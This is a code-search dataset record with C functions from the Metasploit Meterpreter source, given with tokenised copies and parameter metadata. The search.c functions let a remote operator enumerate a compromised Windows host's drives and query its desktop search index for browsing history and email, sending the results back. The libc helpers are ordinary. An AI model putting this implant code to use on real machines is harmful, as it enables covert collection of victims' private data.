DWORD search_directory( char * cpDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hFile = NULL; char * cpFirstFile = NULL; WIN32_FIND_DATA FindData = {0}; size_t dwLength = 0; do { dwLength = strlen( cpDirectory ) + strlen( pOptions->cpFileGlob ) + 32; cpFirstFile = (char *)malloc( dwLength ); if( !cpFirstFile ) BREAK_WITH_ERROR( "[SEARCH] search_directory: !cpFirstFile", ERROR_OUTOFMEMORY ); sprintf_s( cpFirstFile, dwLength, "%s\\%s", cpDirectory, pOptions->cpFileGlob ); hFile = FindFirstFile( cpFirstFile, &FindData ); if( hFile == INVALID_HANDLE_VALUE ) { if( GetLastError() == ERROR_FILE_NOT_FOUND ) break; BREAK_ON_ERROR( "[SEARCH] search_directory: FindFirstFile Failed." ); } do { do { if( strcmp( FindData.cFileName, "." ) == 0 ) break; if( strcmp( FindData.cFileName, ".." ) == 0 ) break; if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) break; search_add_result( pResponse, cpDirectory, FindData.cFileName, FindData.nFileSizeLow ); dprintf( "[SEARCH] search_directory. Found: %s\\%s", cpDirectory, FindData.cFileName ); } while( 0 ); } while( FindNextFile( hFile, &FindData ) != 0 ); } while( 0 ); if( cpFirstFile ) free( cpFirstFile ); if( hFile ) FindClose( hFile ); return dwResult; }
[ "DWORD", "search_directory", "(", "char", "*", "cpDirectory", ",", "SEARCH_OPTIONS", "*", "pOptions", ",", "Packet", "*", "pResponse", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "HANDLE", "hFile", "=", "NULL", ";", "char", "*", "cpFirstFile", "=", "NULL", ";", "WIN32_FIND_DATA", "FindData", "=", "{", "0", "}", ";", "size_t", "dwLength", "=", "0", ";", "do", "{", "dwLength", "=", "strlen", "(", "cpDirectory", ")", "+", "strlen", "(", "pOptions", "->", "cpFileGlob", ")", "+", "32", ";", "cpFirstFile", "=", "(", "char", "*", ")", "malloc", "(", "dwLength", ")", ";", "if", "(", "!", "cpFirstFile", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "sprintf_s", "(", "cpFirstFile", ",", "dwLength", ",", "\"", "\\\\", "\"", ",", "cpDirectory", ",", "pOptions", "->", "cpFileGlob", ")", ";", "hFile", "=", "FindFirstFile", "(", "cpFirstFile", ",", "&", "FindData", ")", ";", "if", "(", "hFile", "==", "INVALID_HANDLE_VALUE", ")", "{", "if", "(", "GetLastError", "(", ")", "==", "ERROR_FILE_NOT_FOUND", ")", "break", ";", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "}", "do", "{", "do", "{", "if", "(", "strcmp", "(", "FindData", ".", "cFileName", ",", "\"", "\"", ")", "==", "0", ")", "break", ";", "if", "(", "strcmp", "(", "FindData", ".", "cFileName", ",", "\"", "\"", ")", "==", "0", ")", "break", ";", "if", "(", "FindData", ".", "dwFileAttributes", "&", "FILE_ATTRIBUTE_DIRECTORY", ")", "break", ";", "search_add_result", "(", "pResponse", ",", "cpDirectory", ",", "FindData", ".", "cFileName", ",", "FindData", ".", "nFileSizeLow", ")", ";", "dprintf", "(", "\"", "\\\\", "\"", ",", "cpDirectory", ",", "FindData", ".", "cFileName", ")", ";", "}", "while", "(", "0", ")", ";", "}", "while", "(", "FindNextFile", "(", "hFile", ",", "&", "FindData", ")", "!=", "0", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "cpFirstFile", ")", "free", "(", "cpFirstFile", ")", ";", "if", "(", "hFile", ")", "FindClose", "(", "hFile", ")", ";", "return", "dwResult", ";", "}" ]
Search a directory for files.
[ "Search", "a", "directory", "for", "files", "." ]
[ "// if not files in this directory matched our pattern, finish with success\r", "// otherwise we fail with an error\r" ]
[ { "param": "cpDirectory", "type": "char" }, { "param": "pOptions", "type": "SEARCH_OPTIONS" }, { "param": "pResponse", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "cpDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pOptions", "type": "SEARCH_OPTIONS", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pResponse", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
search
DWORD
DWORD search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hFile = NULL; char * cpFirstFile = NULL; BOOL bAllreadySearched = FALSE; WIN32_FIND_DATA FindData = {0}; size_t dwLength = 0; do { if( !pResponse || !pOptions ) BREAK_WITH_ERROR( "[SEARCH] search: !pResponse || !pOptions", ERROR_INVALID_PARAMETER ); if( !cpCurrentDirectory ) cpCurrentDirectory = pOptions->cpRootDirectory; if( wds3_indexed( pWDSInterface, cpCurrentDirectory ) ) { dwResult = wds3_search( pWDSInterface, L"file", cpCurrentDirectory, pOptions, pResponse ); } if( dwResult != ERROR_SUCCESS && wds2_indexed( pWDSInterface, cpCurrentDirectory ) ) { dwResult = wds2_search( pWDSInterface, cpCurrentDirectory, pOptions, pResponse ); } if( dwResult != ERROR_SUCCESS ) { dwResult = ERROR_SUCCESS; dwLength = strlen( cpCurrentDirectory ) + 32; cpFirstFile = (char *)malloc( dwLength ); if( !cpFirstFile ) BREAK_WITH_ERROR( "[SEARCH] search: !cpFirstFile", ERROR_OUTOFMEMORY ); sprintf_s( cpFirstFile, dwLength, "%s\\*.*", cpCurrentDirectory ); hFile = FindFirstFile( cpFirstFile, &FindData ); if( hFile == INVALID_HANDLE_VALUE ) { if( GetLastError() == ERROR_ACCESS_DENIED ) break; BREAK_ON_ERROR( "[SEARCH] search: FindFirstFile Failed." ); } do { if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) { do { char * cpNextDirectory = NULL; if( !pOptions->bResursive ) break; if( strcmp( FindData.cFileName, "." ) == 0 ) break; if( strcmp( FindData.cFileName, ".." ) == 0 ) break; dwLength = strlen( cpCurrentDirectory ) + strlen( FindData.cFileName ) + 32; cpNextDirectory = (char *)malloc( dwLength ); if( !cpNextDirectory ) break; sprintf_s( cpNextDirectory, dwLength, "%s\\%s", cpCurrentDirectory, FindData.cFileName ); dwResult = search( pWDSInterface, cpNextDirectory, pOptions, pResponse ); free( cpNextDirectory ); } while( 0 ); } else { if( !bAllreadySearched ) { // we call search_dir_via_api() to avail of glob searching via a second // FindFirstFile() loop (which is available on NT4 and up, unlike PathMatchSpec()) dwResult = search_directory( cpCurrentDirectory, pOptions, pResponse ); bAllreadySearched = TRUE; } } } while( FindNextFile( hFile, &FindData ) != 0 ); } } while( 0 ); if( cpFirstFile ) free( cpFirstFile ); if( hFile ) FindClose( hFile ); return dwResult; }
/* * Perform a file search using Windows Desktop Search (v2 or v3 depending what's available) * and falling back to a FindFirstFile/FindNextFile search technique if not. */
Perform a file search using Windows Desktop Search (v2 or v3 depending what's available) and falling back to a FindFirstFile/FindNextFile search technique if not.
[ "Perform", "a", "file", "search", "using", "Windows", "Desktop", "Search", "(", "v2", "or", "v3", "depending", "what", "'", "s", "available", ")", "and", "falling", "back", "to", "a", "FindFirstFile", "/", "FindNextFile", "search", "technique", "if", "not", "." ]
DWORD search( WDS_INTERFACE * pWDSInterface, char * cpCurrentDirectory, SEARCH_OPTIONS * pOptions, Packet * pResponse ) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hFile = NULL; char * cpFirstFile = NULL; BOOL bAllreadySearched = FALSE; WIN32_FIND_DATA FindData = {0}; size_t dwLength = 0; do { if( !pResponse || !pOptions ) BREAK_WITH_ERROR( "[SEARCH] search: !pResponse || !pOptions", ERROR_INVALID_PARAMETER ); if( !cpCurrentDirectory ) cpCurrentDirectory = pOptions->cpRootDirectory; if( wds3_indexed( pWDSInterface, cpCurrentDirectory ) ) { dwResult = wds3_search( pWDSInterface, L"file", cpCurrentDirectory, pOptions, pResponse ); } if( dwResult != ERROR_SUCCESS && wds2_indexed( pWDSInterface, cpCurrentDirectory ) ) { dwResult = wds2_search( pWDSInterface, cpCurrentDirectory, pOptions, pResponse ); } if( dwResult != ERROR_SUCCESS ) { dwResult = ERROR_SUCCESS; dwLength = strlen( cpCurrentDirectory ) + 32; cpFirstFile = (char *)malloc( dwLength ); if( !cpFirstFile ) BREAK_WITH_ERROR( "[SEARCH] search: !cpFirstFile", ERROR_OUTOFMEMORY ); sprintf_s( cpFirstFile, dwLength, "%s\\*.*", cpCurrentDirectory ); hFile = FindFirstFile( cpFirstFile, &FindData ); if( hFile == INVALID_HANDLE_VALUE ) { if( GetLastError() == ERROR_ACCESS_DENIED ) break; BREAK_ON_ERROR( "[SEARCH] search: FindFirstFile Failed." ); } do { if( FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) { do { char * cpNextDirectory = NULL; if( !pOptions->bResursive ) break; if( strcmp( FindData.cFileName, "." ) == 0 ) break; if( strcmp( FindData.cFileName, ".." ) == 0 ) break; dwLength = strlen( cpCurrentDirectory ) + strlen( FindData.cFileName ) + 32; cpNextDirectory = (char *)malloc( dwLength ); if( !cpNextDirectory ) break; sprintf_s( cpNextDirectory, dwLength, "%s\\%s", cpCurrentDirectory, FindData.cFileName ); dwResult = search( pWDSInterface, cpNextDirectory, pOptions, pResponse ); free( cpNextDirectory ); } while( 0 ); } else { if( !bAllreadySearched ) { dwResult = search_directory( cpCurrentDirectory, pOptions, pResponse ); bAllreadySearched = TRUE; } } } while( FindNextFile( hFile, &FindData ) != 0 ); } } while( 0 ); if( cpFirstFile ) free( cpFirstFile ); if( hFile ) FindClose( hFile ); return dwResult; }
[ "DWORD", "search", "(", "WDS_INTERFACE", "*", "pWDSInterface", ",", "char", "*", "cpCurrentDirectory", ",", "SEARCH_OPTIONS", "*", "pOptions", ",", "Packet", "*", "pResponse", ")", "{", "DWORD", "dwResult", "=", "ERROR_ACCESS_DENIED", ";", "HANDLE", "hFile", "=", "NULL", ";", "char", "*", "cpFirstFile", "=", "NULL", ";", "BOOL", "bAllreadySearched", "=", "FALSE", ";", "WIN32_FIND_DATA", "FindData", "=", "{", "0", "}", ";", "size_t", "dwLength", "=", "0", ";", "do", "{", "if", "(", "!", "pResponse", "||", "!", "pOptions", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_PARAMETER", ")", ";", "if", "(", "!", "cpCurrentDirectory", ")", "cpCurrentDirectory", "=", "pOptions", "->", "cpRootDirectory", ";", "if", "(", "wds3_indexed", "(", "pWDSInterface", ",", "cpCurrentDirectory", ")", ")", "{", "dwResult", "=", "wds3_search", "(", "pWDSInterface", ",", "L\"", "\"", ",", "cpCurrentDirectory", ",", "pOptions", ",", "pResponse", ")", ";", "}", "if", "(", "dwResult", "!=", "ERROR_SUCCESS", "&&", "wds2_indexed", "(", "pWDSInterface", ",", "cpCurrentDirectory", ")", ")", "{", "dwResult", "=", "wds2_search", "(", "pWDSInterface", ",", "cpCurrentDirectory", ",", "pOptions", ",", "pResponse", ")", ";", "}", "if", "(", "dwResult", "!=", "ERROR_SUCCESS", ")", "{", "dwResult", "=", "ERROR_SUCCESS", ";", "dwLength", "=", "strlen", "(", "cpCurrentDirectory", ")", "+", "32", ";", "cpFirstFile", "=", "(", "char", "*", ")", "malloc", "(", "dwLength", ")", ";", "if", "(", "!", "cpFirstFile", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "sprintf_s", "(", "cpFirstFile", ",", "dwLength", ",", "\"", "\\\\", "\"", ",", "cpCurrentDirectory", ")", ";", "hFile", "=", "FindFirstFile", "(", "cpFirstFile", ",", "&", "FindData", ")", ";", "if", "(", "hFile", "==", "INVALID_HANDLE_VALUE", ")", "{", "if", "(", "GetLastError", "(", ")", "==", "ERROR_ACCESS_DENIED", ")", "break", ";", "BREAK_ON_ERROR", "(", "\"", "\"", ")", ";", "}", "do", "{", "if", "(", "FindData", ".", "dwFileAttributes", "&", "FILE_ATTRIBUTE_DIRECTORY", ")", "{", "do", "{", "char", "*", "cpNextDirectory", "=", "NULL", ";", "if", "(", "!", "pOptions", "->", "bResursive", ")", "break", ";", "if", "(", "strcmp", "(", "FindData", ".", "cFileName", ",", "\"", "\"", ")", "==", "0", ")", "break", ";", "if", "(", "strcmp", "(", "FindData", ".", "cFileName", ",", "\"", "\"", ")", "==", "0", ")", "break", ";", "dwLength", "=", "strlen", "(", "cpCurrentDirectory", ")", "+", "strlen", "(", "FindData", ".", "cFileName", ")", "+", "32", ";", "cpNextDirectory", "=", "(", "char", "*", ")", "malloc", "(", "dwLength", ")", ";", "if", "(", "!", "cpNextDirectory", ")", "break", ";", "sprintf_s", "(", "cpNextDirectory", ",", "dwLength", ",", "\"", "\\\\", "\"", ",", "cpCurrentDirectory", ",", "FindData", ".", "cFileName", ")", ";", "dwResult", "=", "search", "(", "pWDSInterface", ",", "cpNextDirectory", ",", "pOptions", ",", "pResponse", ")", ";", "free", "(", "cpNextDirectory", ")", ";", "}", "while", "(", "0", ")", ";", "}", "else", "{", "if", "(", "!", "bAllreadySearched", ")", "{", "dwResult", "=", "search_directory", "(", "cpCurrentDirectory", ",", "pOptions", ",", "pResponse", ")", ";", "bAllreadySearched", "=", "TRUE", ";", "}", "}", "}", "while", "(", "FindNextFile", "(", "hFile", ",", "&", "FindData", ")", "!=", "0", ")", ";", "}", "}", "while", "(", "0", ")", ";", "if", "(", "cpFirstFile", ")", "free", "(", "cpFirstFile", ")", ";", "if", "(", "hFile", ")", "FindClose", "(", "hFile", ")", ";", "return", "dwResult", ";", "}" ]
Perform a file search using Windows Desktop Search (v2 or v3 depending what's available) and falling back to a FindFirstFile/FindNextFile search technique if not.
[ "Perform", "a", "file", "search", "using", "Windows", "Desktop", "Search", "(", "v2", "or", "v3", "depending", "what", "'", "s", "available", ")", "and", "falling", "back", "to", "a", "FindFirstFile", "/", "FindNextFile", "search", "technique", "if", "not", "." ]
[ "// we call search_dir_via_api() to avail of glob searching via a second \r", "// FindFirstFile() loop (which is available on NT4 and up, unlike PathMatchSpec())\r" ]
[ { "param": "pWDSInterface", "type": "WDS_INTERFACE" }, { "param": "cpCurrentDirectory", "type": "char" }, { "param": "pOptions", "type": "SEARCH_OPTIONS" }, { "param": "pResponse", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pWDSInterface", "type": "WDS_INTERFACE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "cpCurrentDirectory", "type": "char", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pOptions", "type": "SEARCH_OPTIONS", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pResponse", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a93494021273fabc318f4981ded91e5f5db071ff
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/fs/search.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_fs_search
DWORD
DWORD request_fs_search( Remote * pRemote, Packet * pPacket ) { DWORD dwResult = ERROR_SUCCESS; Packet * pResponse = NULL; SEARCH_OPTIONS * pOptions = NULL; WDS_INTERFACE WDSInterface = {0}; dprintf( "[SEARCH] request_fs_search. Starting." ); do { pResponse = packet_create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[SEARCH] request_fs_search: pResponse == NULL", ERROR_INVALID_HANDLE ); pOptions = (SEARCH_OPTIONS *)malloc( sizeof(SEARCH_OPTIONS) ); if( !pOptions ) BREAK_WITH_ERROR( "[SEARCH] search_via_api: !pOptions", ERROR_OUTOFMEMORY ); pOptions->cpRootDirectory = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_ROOT ); if( !pOptions->cpRootDirectory ) pOptions->cpRootDirectory = ""; if( strlen( pOptions->cpRootDirectory ) == 0 ) pOptions->cpRootDirectory = NULL; pOptions->bResursive = packet_get_tlv_value_bool( pPacket, TLV_TYPE_SEARCH_RECURSE ); pOptions->cpFileGlob = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_GLOB ); if( !pOptions->cpFileGlob ) pOptions->cpFileGlob = "*.*"; wds_startup( &WDSInterface ); if( !pOptions->cpRootDirectory ) { DWORD dwLogicalDrives = 0; char cIndex = 0; dwLogicalDrives = GetLogicalDrives(); for( cIndex='a' ; cIndex<='z' ; cIndex++ ) { if( dwLogicalDrives & ( 1 << (cIndex-'a')) ) { DWORD dwType = 0; char cDrive[4] = {0}; sprintf_s( cDrive, 4, "%c:\\\x00", cIndex ); dwType = GetDriveType( cDrive ); if( dwType == DRIVE_FIXED || dwType == DRIVE_REMOTE ) { pOptions->cpRootDirectory = (char *)&cDrive; dprintf( "[SEARCH] request_fs_search. Searching drive %s (type=%d)...", pOptions->cpRootDirectory, dwType ); search( &WDSInterface, NULL, pOptions, pResponse ); } } } pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse ); wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse ); } else { if( strcmp( pOptions->cpRootDirectory, "iehistory" ) == 0 ) { pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse ); } else if( strcmp( pOptions->cpRootDirectory, "mapi" ) == 0 ) { pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse ); } else { dwResult = search( &WDSInterface, NULL, pOptions, pResponse ); } } } while( 0 ); if( pResponse ) { packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult ); dwResult = packet_transmit( pRemote, pResponse, NULL ); } wds_shutdown( &WDSInterface ); if( pOptions ) free( pOptions ); dprintf( "[SEARCH] request_fs_search: Finished. dwResult=0x%08X", dwResult ); return dwResult; }
/* * Request routine for performing a file search. */
Request routine for performing a file search.
[ "Request", "routine", "for", "performing", "a", "file", "search", "." ]
DWORD request_fs_search( Remote * pRemote, Packet * pPacket ) { DWORD dwResult = ERROR_SUCCESS; Packet * pResponse = NULL; SEARCH_OPTIONS * pOptions = NULL; WDS_INTERFACE WDSInterface = {0}; dprintf( "[SEARCH] request_fs_search. Starting." ); do { pResponse = packet_create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[SEARCH] request_fs_search: pResponse == NULL", ERROR_INVALID_HANDLE ); pOptions = (SEARCH_OPTIONS *)malloc( sizeof(SEARCH_OPTIONS) ); if( !pOptions ) BREAK_WITH_ERROR( "[SEARCH] search_via_api: !pOptions", ERROR_OUTOFMEMORY ); pOptions->cpRootDirectory = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_ROOT ); if( !pOptions->cpRootDirectory ) pOptions->cpRootDirectory = ""; if( strlen( pOptions->cpRootDirectory ) == 0 ) pOptions->cpRootDirectory = NULL; pOptions->bResursive = packet_get_tlv_value_bool( pPacket, TLV_TYPE_SEARCH_RECURSE ); pOptions->cpFileGlob = packet_get_tlv_value_string( pPacket, TLV_TYPE_SEARCH_GLOB ); if( !pOptions->cpFileGlob ) pOptions->cpFileGlob = "*.*"; wds_startup( &WDSInterface ); if( !pOptions->cpRootDirectory ) { DWORD dwLogicalDrives = 0; char cIndex = 0; dwLogicalDrives = GetLogicalDrives(); for( cIndex='a' ; cIndex<='z' ; cIndex++ ) { if( dwLogicalDrives & ( 1 << (cIndex-'a')) ) { DWORD dwType = 0; char cDrive[4] = {0}; sprintf_s( cDrive, 4, "%c:\\\x00", cIndex ); dwType = GetDriveType( cDrive ); if( dwType == DRIVE_FIXED || dwType == DRIVE_REMOTE ) { pOptions->cpRootDirectory = (char *)&cDrive; dprintf( "[SEARCH] request_fs_search. Searching drive %s (type=%d)...", pOptions->cpRootDirectory, dwType ); search( &WDSInterface, NULL, pOptions, pResponse ); } } } pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse ); wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse ); } else { if( strcmp( pOptions->cpRootDirectory, "iehistory" ) == 0 ) { pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse ); } else if( strcmp( pOptions->cpRootDirectory, "mapi" ) == 0 ) { pOptions->cpRootDirectory = ""; wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse ); } else { dwResult = search( &WDSInterface, NULL, pOptions, pResponse ); } } } while( 0 ); if( pResponse ) { packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult ); dwResult = packet_transmit( pRemote, pResponse, NULL ); } wds_shutdown( &WDSInterface ); if( pOptions ) free( pOptions ); dprintf( "[SEARCH] request_fs_search: Finished. dwResult=0x%08X", dwResult ); return dwResult; }
[ "DWORD", "request_fs_search", "(", "Remote", "*", "pRemote", ",", "Packet", "*", "pPacket", ")", "{", "DWORD", "dwResult", "=", "ERROR_SUCCESS", ";", "Packet", "*", "pResponse", "=", "NULL", ";", "SEARCH_OPTIONS", "*", "pOptions", "=", "NULL", ";", "WDS_INTERFACE", "WDSInterface", "=", "{", "0", "}", ";", "dprintf", "(", "\"", "\"", ")", ";", "do", "{", "pResponse", "=", "packet_create_response", "(", "pPacket", ")", ";", "if", "(", "!", "pResponse", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_INVALID_HANDLE", ")", ";", "pOptions", "=", "(", "SEARCH_OPTIONS", "*", ")", "malloc", "(", "sizeof", "(", "SEARCH_OPTIONS", ")", ")", ";", "if", "(", "!", "pOptions", ")", "BREAK_WITH_ERROR", "(", "\"", "\"", ",", "ERROR_OUTOFMEMORY", ")", ";", "pOptions", "->", "cpRootDirectory", "=", "packet_get_tlv_value_string", "(", "pPacket", ",", "TLV_TYPE_SEARCH_ROOT", ")", ";", "if", "(", "!", "pOptions", "->", "cpRootDirectory", ")", "pOptions", "->", "cpRootDirectory", "=", "\"", "\"", ";", "if", "(", "strlen", "(", "pOptions", "->", "cpRootDirectory", ")", "==", "0", ")", "pOptions", "->", "cpRootDirectory", "=", "NULL", ";", "pOptions", "->", "bResursive", "=", "packet_get_tlv_value_bool", "(", "pPacket", ",", "TLV_TYPE_SEARCH_RECURSE", ")", ";", "pOptions", "->", "cpFileGlob", "=", "packet_get_tlv_value_string", "(", "pPacket", ",", "TLV_TYPE_SEARCH_GLOB", ")", ";", "if", "(", "!", "pOptions", "->", "cpFileGlob", ")", "pOptions", "->", "cpFileGlob", "=", "\"", "\"", ";", "wds_startup", "(", "&", "WDSInterface", ")", ";", "if", "(", "!", "pOptions", "->", "cpRootDirectory", ")", "{", "DWORD", "dwLogicalDrives", "=", "0", ";", "char", "cIndex", "=", "0", ";", "dwLogicalDrives", "=", "GetLogicalDrives", "(", ")", ";", "for", "(", "cIndex", "=", "'", "'", ";", "cIndex", "<=", "'", "'", ";", "cIndex", "++", ")", "{", "if", "(", "dwLogicalDrives", "&", "(", "1", "<<", "(", "cIndex", "-", "'", "'", ")", ")", ")", "{", "DWORD", "dwType", "=", "0", ";", "char", "cDrive", "[", "4", "]", "=", "{", "0", "}", ";", "sprintf_s", "(", "cDrive", ",", "4", ",", "\"", "\\\\", "\\x00", "\"", ",", "cIndex", ")", ";", "dwType", "=", "GetDriveType", "(", "cDrive", ")", ";", "if", "(", "dwType", "==", "DRIVE_FIXED", "||", "dwType", "==", "DRIVE_REMOTE", ")", "{", "pOptions", "->", "cpRootDirectory", "=", "(", "char", "*", ")", "&", "cDrive", ";", "dprintf", "(", "\"", "\"", ",", "pOptions", "->", "cpRootDirectory", ",", "dwType", ")", ";", "search", "(", "&", "WDSInterface", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "}", "}", "}", "pOptions", "->", "cpRootDirectory", "=", "\"", "\"", ";", "wds3_search", "(", "&", "WDSInterface", ",", "L\"", "\"", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "wds3_search", "(", "&", "WDSInterface", ",", "L\"", "\"", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "}", "else", "{", "if", "(", "strcmp", "(", "pOptions", "->", "cpRootDirectory", ",", "\"", "\"", ")", "==", "0", ")", "{", "pOptions", "->", "cpRootDirectory", "=", "\"", "\"", ";", "wds3_search", "(", "&", "WDSInterface", ",", "L\"", "\"", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "}", "else", "if", "(", "strcmp", "(", "pOptions", "->", "cpRootDirectory", ",", "\"", "\"", ")", "==", "0", ")", "{", "pOptions", "->", "cpRootDirectory", "=", "\"", "\"", ";", "wds3_search", "(", "&", "WDSInterface", ",", "L\"", "\"", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "}", "else", "{", "dwResult", "=", "search", "(", "&", "WDSInterface", ",", "NULL", ",", "pOptions", ",", "pResponse", ")", ";", "}", "}", "}", "while", "(", "0", ")", ";", "if", "(", "pResponse", ")", "{", "packet_add_tlv_uint", "(", "pResponse", ",", "TLV_TYPE_RESULT", ",", "dwResult", ")", ";", "dwResult", "=", "packet_transmit", "(", "pRemote", ",", "pResponse", ",", "NULL", ")", ";", "}", "wds_shutdown", "(", "&", "WDSInterface", ")", ";", "if", "(", "pOptions", ")", "free", "(", "pOptions", ")", ";", "dprintf", "(", "\"", "\"", ",", "dwResult", ")", ";", "return", "dwResult", ";", "}" ]
Request routine for performing a file search.
[ "Request", "routine", "for", "performing", "a", "file", "search", "." ]
[]
[ { "param": "pRemote", "type": "Remote" }, { "param": "pPacket", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "pRemote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "pPacket", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
bfb081cdef382b965400a647ebeb120e563ab33e
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/stdio/flockfile.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
__fremovelock
void
void __fremovelock(FILE* fp) { LockTable* t = lock_table_lock(); if (t != NULL) { FileLock** lookup = lock_table_lookup(t, fp); FileLock* lock = *lookup; if (lock != NULL) { *lookup = lock->next; lock->file = NULL; } lock_table_unlock(t); free(lock); } }
/* called from fclose() to remove the file lock */
called from fclose() to remove the file lock
[ "called", "from", "fclose", "()", "to", "remove", "the", "file", "lock" ]
void __fremovelock(FILE* fp) { LockTable* t = lock_table_lock(); if (t != NULL) { FileLock** lookup = lock_table_lookup(t, fp); FileLock* lock = *lookup; if (lock != NULL) { *lookup = lock->next; lock->file = NULL; } lock_table_unlock(t); free(lock); } }
[ "void", "__fremovelock", "(", "FILE", "*", "fp", ")", "{", "LockTable", "*", "t", "=", "lock_table_lock", "(", ")", ";", "if", "(", "t", "!=", "NULL", ")", "{", "FileLock", "*", "*", "lookup", "=", "lock_table_lookup", "(", "t", ",", "fp", ")", ";", "FileLock", "*", "lock", "=", "*", "lookup", ";", "if", "(", "lock", "!=", "NULL", ")", "{", "*", "lookup", "=", "lock", "->", "next", ";", "lock", "->", "file", "=", "NULL", ";", "}", "lock_table_unlock", "(", "t", ")", ";", "free", "(", "lock", ")", ";", "}", "}" ]
called from fclose() to remove the file lock
[ "called", "from", "fclose", "()", "to", "remove", "the", "file", "lock" ]
[]
[ { "param": "fp", "type": "FILE" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "fp", "type": "FILE", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
f56e48b245fa08220ed5c73e0abf792a092ee896
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/inet/ether_ntoa.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
ether_ntoa_r
char
char * ether_ntoa_r (const struct ether_addr *addr, char * buf) { snprintf(buf, 18, "%02x:%02x:%02x:%02x:%02x:%02x", addr->ether_addr_octet[0], addr->ether_addr_octet[1], addr->ether_addr_octet[2], addr->ether_addr_octet[3], addr->ether_addr_octet[4], addr->ether_addr_octet[5]); return buf; }
/* * Convert Ethernet address to standard hex-digits-and-colons printable form. * Re-entrant version (GNU extensions). */
Convert Ethernet address to standard hex-digits-and-colons printable form. Re-entrant version (GNU extensions).
[ "Convert", "Ethernet", "address", "to", "standard", "hex", "-", "digits", "-", "and", "-", "colons", "printable", "form", ".", "Re", "-", "entrant", "version", "(", "GNU", "extensions", ")", "." ]
char * ether_ntoa_r (const struct ether_addr *addr, char * buf) { snprintf(buf, 18, "%02x:%02x:%02x:%02x:%02x:%02x", addr->ether_addr_octet[0], addr->ether_addr_octet[1], addr->ether_addr_octet[2], addr->ether_addr_octet[3], addr->ether_addr_octet[4], addr->ether_addr_octet[5]); return buf; }
[ "char", "*", "ether_ntoa_r", "(", "const", "struct", "ether_addr", "*", "addr", ",", "char", "*", "buf", ")", "{", "snprintf", "(", "buf", ",", "18", ",", "\"", "\"", ",", "addr", "->", "ether_addr_octet", "[", "0", "]", ",", "addr", "->", "ether_addr_octet", "[", "1", "]", ",", "addr", "->", "ether_addr_octet", "[", "2", "]", ",", "addr", "->", "ether_addr_octet", "[", "3", "]", ",", "addr", "->", "ether_addr_octet", "[", "4", "]", ",", "addr", "->", "ether_addr_octet", "[", "5", "]", ")", ";", "return", "buf", ";", "}" ]
Convert Ethernet address to standard hex-digits-and-colons printable form.
